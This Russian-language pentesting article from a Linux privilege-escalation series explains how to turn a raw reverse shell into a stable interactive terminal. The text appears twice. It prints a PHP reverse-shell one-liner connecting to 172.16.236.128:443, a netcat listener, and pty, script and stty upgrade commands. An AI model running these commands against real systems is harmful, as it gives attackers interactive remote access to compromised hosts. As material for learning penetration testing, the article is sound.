Давайте представим, что мы получили бэк-коннект в результате эксплуатации RCE-уязвимости в условном PHP-приложении. Но едва ли это соединение можно назвать полноценным. Сегодня разберемся в том, как прокачать полученный доступ и сделать его более стабильным.
Это третья часть из цикла статей по повышению привилегий в ОС Linux, я есть root. Первая статья была обзорной, во второй статье я разбирал вектор повышения через SUID/SGID.
![image](https://habrastorage.org/r/w1560/webt/4b/h5/d8/4bh5d8ed_e0kmoota1mwwqyekps.png)
Итак, мы получили initial shell. Кто знает, как это по-русски? «Изначальная оболочка» или «первичный доступ» — ГОСТ’а нет, поэтому прошу в комментарии. Так вот, мы не сможем использовать это соединение для успешного pivoting'a, поскольку тот же SSH нам не доступен.
![image](https://habrastorage.org/r/w1560/webt/ss/mi/ig/ssmiigs-zdc3c3duwah_xbm2fku.png)
Безуспешная попытка использования SSH
Система сообщает нам, что не может справиться с SSH без полноценного терминального shell’a. Что делать в этом случае? Отправляемся в Google и находим подборки команд, не все из которых нам помогут, например:
![image](https://habrastorage.org/r/w1560/webt/9k/ue/hd/9kuehdzqf7okfpsc1ubvau1yu_y.png)
Попытка создания псевдотерминала через /bin/sh
Что мы можем с этим сделать? Как получить стабильный шелл? Сейчас разберемся.
Давным-давно, во второй половине 20 века, компьютеры были большими, а взаимодействие пользователей с ними происходило посредством физических устройств, называемых телепринтерами и телетайпами. Об истории терминалов можно почитать тут, а нам важно понимать, что сейчас Linux все так же считает себя мейнфреймом, а общение с системой происходит по виртуальным терминалам.
Часто во время тестирования на проникновение мы получаем оболочку, в которой нет виртуального терминала. Большинство привычных нам бэк-коннектов представляют собой не что иное, как открытие сетевого сокета и перенаправление потоков ввода/вывода в данный сокет. При этом на хосте атакующего отсутствует такая сущность, как терминал (tty). Отсутствие терминала в соединении не дает системе корректно работать с вводом/выводом, поскольку не весь вывод можно корректно вывести через сетевой сокет на хост атакующего. Тот же пример с SSH: запрос на доверие сертификату приходит в терминал атакуемого хоста, но не доходит по сокету на хост атакующего. Команда ниже использована для имитации эксплуатации RCE-уязвимости.
![image](https://habrastorage.org/r/w1560/webt/4o/oi/de/4ooidexrj0uyyiipbm1eh9azntc.png)
Попытка воспользоваться SSH через nc-соединение
![image](https://habrastorage.org/r/w1560/webt/nk/yu/rk/nkyurkwvfvzkisw0ewjx4crs_la.png)
Запрос на доверие сертификату выводится на атакуемом хосте
![image](https://habrastorage.org/r/w1560/webt/ws/vb/_i/wsvb_ikjb3kv6djiabkllhaqsyc.png)
На стороне атакующего терминала пока нет
Мы можем использовать Python, чтобы выйти в bash, при этом получив в свое распоряжение терминал. Команда tty показывает адрес текущего терминала.
![image](https://habrastorage.org/r/w1560/webt/s0/lv/r0/s0lvr0zyo-nk3kvggrf-07c1vf4.png)
Создание виртуального терминала в Python
На этом этапе нам уже доступен некий интерактив в виде возможности дать ответ на запросы системы из серии «доверяйте данному ключу SSH» или «введите пароль, чтобы воспользоваться sudo».
Это уже что-то, однако у нас все еще нет возможности воспользоваться нашим любимым сочетанием клавиш ctrl+c (пентестерский софт ведь никогда не отличался хорошей стабильностью). Чтобы получить более стабильную версию shell’a и не пересоздавать соединение по 10 раз, рекомендую использовать следующий прием.
Команда stty устанавливает свойства терминальной линии. Этот инструмент позволит нам сообщить терминалу на стороне атакующего, что наш ввод нужно просто направлять в stdin без обработки. Таким образом, мы больше не убьём сессию, если машинально нажмем ctrl+c.
![image](https://habrastorage.org/r/w1560/webt/r7/ib/l8/r7ibl8fecb92cntvyj0wicabs9s.png)
Получение стабильного shell'a с помощью настройки свойств терминала
Бывает, что в системе просто не установлен Python. Что же делать в этом случае? Можно воспользоваться утилитой script, например, в CentOS она доступна по умолчанию.
![image](https://habrastorage.org/r/w1560/webt/f2/sa/dk/f2sadk0du_2vs_epe5qf9iendi8.png)
Создание виртуального терминала в script
Думаю, этого достаточно для понимания процесса создания стабильных и удобных соединений.
По поводу безопасного харденинга заморачиваться сильно смысла не имеет, поскольку вы уже проморгали RCE в системе. В принципе, успешное поднятие привилегий возможно и без описанных сегодня методов.
Это третья часть из цикла статей по повышению привилегий в ОС Linux, я есть root. Первая статья была обзорной, во второй статье я разбирал вектор повышения через SUID/SGID.
![image](https://habrastorage.org/webt/4b/h5/d8/4bh5d8ed_e0kmoota1mwwqyekps.png)
Итак, мы получили initial shell. Кто знает, как это по-русски? «Изначальная оболочка» или «первичный доступ» — ГОСТ’а нет, поэтому прошу в комментарии. Так вот, мы не сможем использовать это соединение для успешного pivoting'a, поскольку тот же SSH нам не доступен.
![image](https://habrastorage.org/webt/ss/mi/ig/ssmiigs-zdc3c3duwah_xbm2fku.png)
Безуспешная попытка использования SSH
Система сообщает нам, что не может справиться с SSH без полноценного терминального shell’a. Что делать в этом случае? Отправляемся в Google и находим подборки команд, не все из которых нам помогут, например:
/bin/sh -i
![image](https://habrastorage.org/webt/9k/ue/hd/9kuehdzqf7okfpsc1ubvau1yu_y.png)
Попытка создания псевдотерминала через /bin/sh
Что мы можем с этим сделать? Как получить стабильный шелл? Сейчас разберемся.
Зачем нам терминал в нашем соединении?
Давным-давно, во второй половине 20 века, компьютеры были большими, а взаимодействие пользователей с ними происходило посредством физических устройств, называемых телепринтерами и телетайпами. Об истории терминалов можно почитать тут, а нам важно понимать, что сейчас Linux все так же считает себя мейнфреймом, а общение с системой происходит по виртуальным терминалам.
Часто во время тестирования на проникновение мы получаем оболочку, в которой нет виртуального терминала. Большинство привычных нам бэк-коннектов представляют собой не что иное, как открытие сетевого сокета и перенаправление потоков ввода/вывода в данный сокет. При этом на хосте атакующего отсутствует такая сущность, как терминал (tty). Отсутствие терминала в соединении не дает системе корректно работать с вводом/выводом, поскольку не весь вывод можно корректно вывести через сетевой сокет на хост атакующего. Тот же пример с SSH: запрос на доверие сертификату приходит в терминал атакуемого хоста, но не доходит по сокету на хост атакующего. Команда ниже использована для имитации эксплуатации RCE-уязвимости.
php -r '$sock=fsockopen("172.16.236.128",443);exec("/bin/sh -i <&3 >&3 2>&3");'
![image](https://habrastorage.org/webt/4o/oi/de/4ooidexrj0uyyiipbm1eh9azntc.png)
Попытка воспользоваться SSH через nc-соединение
![image](https://habrastorage.org/webt/nk/yu/rk/nkyurkwvfvzkisw0ewjx4crs_la.png)
Запрос на доверие сертификату выводится на атакуемом хосте
![image](https://habrastorage.org/webt/ws/vb/_i/wsvb_ikjb3kv6djiabkllhaqsyc.png)
На стороне атакующего терминала пока нет
Прокачиваем наш изначальный шелл
Мы можем использовать Python, чтобы выйти в bash, при этом получив в свое распоряжение терминал. Команда tty показывает адрес текущего терминала.
python3 -c 'import pty;pty.spawn("/bin/bash")'
![image](https://habrastorage.org/webt/s0/lv/r0/s0lvr0zyo-nk3kvggrf-07c1vf4.png)
Создание виртуального терминала в Python
На этом этапе нам уже доступен некий интерактив в виде возможности дать ответ на запросы системы из серии «доверяйте данному ключу SSH» или «введите пароль, чтобы воспользоваться sudo».
Это уже что-то, однако у нас все еще нет возможности воспользоваться нашим любимым сочетанием клавиш ctrl+c (пентестерский софт ведь никогда не отличался хорошей стабильностью). Чтобы получить более стабильную версию shell’a и не пересоздавать соединение по 10 раз, рекомендую использовать следующий прием.
nc -nlvp 443
#ctrl + z
stty raw -echo && fg
Команда stty устанавливает свойства терминальной линии. Этот инструмент позволит нам сообщить терминалу на стороне атакующего, что наш ввод нужно просто направлять в stdin без обработки. Таким образом, мы больше не убьём сессию, если машинально нажмем ctrl+c.
![image](https://habrastorage.org/webt/r7/ib/l8/r7ibl8fecb92cntvyj0wicabs9s.png)
Получение стабильного shell'a с помощью настройки свойств терминала
Бывает, что в системе просто не установлен Python. Что же делать в этом случае? Можно воспользоваться утилитой script, например, в CentOS она доступна по умолчанию.
/usr/bin/script -qc /bin/bash /dev/null
![image](https://habrastorage.org/webt/f2/sa/dk/f2sadk0du_2vs_epe5qf9iendi8.png)
Создание виртуального терминала в script
Думаю, этого достаточно для понимания процесса создания стабильных и удобных соединений.
Харденинг
По поводу безопасного харденинга заморачиваться сильно смысла не имеет, поскольку вы уже проморгали RCE в системе. В принципе, успешное поднятие привилегий возможно и без описанных сегодня методов.
Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
Как перевести initial shell на русский язык?
31.48% изначальная оболочка17
53.7% первичный доступ29
14.81% другой вариант8
Проголосовали 54 пользователя. Воздержались 24 пользователя.